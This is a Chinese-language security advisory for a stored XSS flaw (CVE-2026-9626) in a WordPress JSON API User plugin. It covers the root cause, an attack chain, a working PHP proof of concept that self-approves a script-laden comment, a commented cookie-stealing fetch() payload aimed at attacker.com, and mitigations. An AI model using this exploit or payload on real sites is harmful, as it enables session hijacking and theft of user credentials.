CVE-2026-9626：WordPress JSON API User插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2026-9626

漏洞类型

存储型跨站脚本（Stored XSS）

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress JSON API User Plugin

漏洞概述

CVE-2026-9626是WordPress JSON API User插件中存在的一个存储型跨站脚本（Stored XSS）漏洞，CVSS评分为6.4，属于中危级别。该漏洞影响4.1.0及以下版本，由Wordfence安全团队的安全研究员发现并报告。JSON API User插件是一款广泛使用的WordPress插件，允许通过JSON API接口管理WordPress用户和评论功能。该漏洞存在于插件的post_comment API端点中，具体位于post_comment()函数内。攻击者可以通过该端点的content参数注入恶意的JavaScript脚本，由于插件未对comment_content值进行充分的HTML清理和转义处理，恶意脚本将直接被存储到WordPress数据库中。此外，攻击者还可以通过设置comment_approved=1参数来自我审批评论，绕过正常的评论审核机制。当其他用户访问包含恶意脚本的页面时，注入的脚本将在受害者浏览器中执行，可能导致会话劫持、敏感信息窃取、权限提升等严重后果。该漏洞需要认证后才能利用，攻击者最低需要订阅者（subscriber）级别的访问权限，属于低权限提权型漏洞利用场景。

技术细节

该漏洞的根本原因在于JSON API User插件的post_comment()函数中对用户输入缺乏充分的清理和转义处理。具体技术细节如下：

1. **漏洞位置**：插件文件controllers/User.php中的post_comment()函数（约第1007行），对应post_comment API端点。

2. **漏洞原理**：当用户通过API提交评论时，post_comment()函数接收用户提供的comment_content参数，并将其直接传递给WordPress核心函数wp_insert_comment()进行评论插入操作。在此过程中，插件未调用sanitize_text_field()、wp_kses()或esc_html()等安全函数对HTML标签和JavaScript代码进行过滤和转义。

3. **绕过审核机制**：更为严重的是，post_comment()函数允许调用方通过comment_approved参数直接设置评论审批状态为1（即已审批），这使得攻击者提交的恶意评论可以绕过WordPress的评论审核队列，直接在前台页面显示。

4. **利用方式**：拥有subscriber级别权限的攻击者可以通过构造包含恶意JavaScript代码的评论内容（如<script>alert(document.cookie)</script>或更复杂的payload），通过API端点提交。由于评论内容未经清理就被存储到数据库中，当其他用户访问该评论所在的页面时，恶意脚本将在其浏览器上下文中执行。

5. **影响范围**：由于是存储型XSS，恶意脚本会持久化存储在数据库中，影响所有访问相关页面的用户，包括管理员，具有较高的危害性。

攻击链分析

STEP 1

步骤1：获取低权限账户

攻击者首先需要拥有一个WordPress订阅者（subscriber）级别的账户，可以通过注册或购买方式获取。

STEP 2

步骤2：身份认证

攻击者使用获取的凭据通过wp-login.php登录WordPress站点，获取有效的会话Cookie。

STEP 3

步骤3：构造恶意Payload

攻击者构造包含恶意JavaScript代码的评论内容，如窃取Cookie、会话劫持或执行管理员操作的脚本。

STEP 4

步骤4：调用漏洞API端点

攻击者通过POST请求访问/json-api/user/post_comment/端点，将恶意评论内容和comment_approved=1参数提交。

STEP 5

步骤5：绕过评论审核

由于comment_approved=1参数被接受，恶意评论无需经过管理员审核即可直接发布到前端页面。

STEP 6

步骤6：触发XSS执行

当任何用户（包括管理员）访问包含恶意评论的页面时，存储的JavaScript代码将在其浏览器中执行，攻击者可窃取会话、进行权限提升或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<?php
/**
 * PoC for CVE-2026-9626 - Stored XSS in JSON API User Plugin
 * Target: WordPress JSON API User Plugin <= 4.1.0
 * Vulnerability: Un sanitized comment_content in post_comment() function
 *
 * Usage: Execute this script with valid subscriber credentials
 * to inject malicious JavaScript via the post_comment API endpoint.
 */

// Target WordPress site
$target_url = 'https://target-wordpress-site.com';

// Authenticated session (requires subscriber-level access)
$username = 'subscriber_user';
$password = 'user_password';

// Step 1: Authenticate and obtain nonce/session
// First, log in via wp-login.php to get cookies
$login_url = $target_url . '/wp-login.php';
$post_data = http_build_query([
    'log'        => $username,
    'pwd'        => $password,
    'wp-submit'  => 'Log In',
    'redirect_to'=> $target_url . '/wp-admin/',
    'testcookie' => '1',
]);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec($ch);
curl_close($ch);

// Step 2: Extract nonce from a page (e.g., get a nonce from the post page)
// The JSON API User plugin endpoint requires authentication
$api_url = $target_url . '/wp-json/json-api/user/post_comment/';

// Malicious payload - JavaScript that will be stored and executed
$malicious_payload = '<script>alert("XSS by CVE-2026-9626: " + document.cookie);</script>';
// More dangerous payload example:
// $malicious_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie);</script>';

// Step 3: Submit the malicious comment via the vulnerable API endpoint
$comment_data = http_build_query([
    'post_id'         => 1,  // Target post ID
    'comment_content' => $malicious_payload,
    'comment_approved'=> 1,  // Self-approve to bypass moderation
]);

$ch = curl_init($api_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $comment_data);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_code\n";
echo "Response: $response\n";
echo "Malicious comment submitted. When any user views the page, the XSS payload will execute.\n";
?>

影响范围

JSON API User Plugin <= 4.1.0

防御指南

临时缓解措施

在无法立即升级插件的情况下，建议采取以下临时缓解措施：1）通过WAF规则拦截对post_comment API端点的可疑请求，特别是包含<script>标签或comment_approved=1参数的请求；2）临时禁用JSON API User插件的post_comment功能；3）加强评论审核策略，对所有新评论进行人工审核后再发布；4）在网站HTTP响应头中添加Content-Security-Policy，限制内联脚本执行；5）限制订阅者级别用户的API访问权限，仅允许必要的端点调用。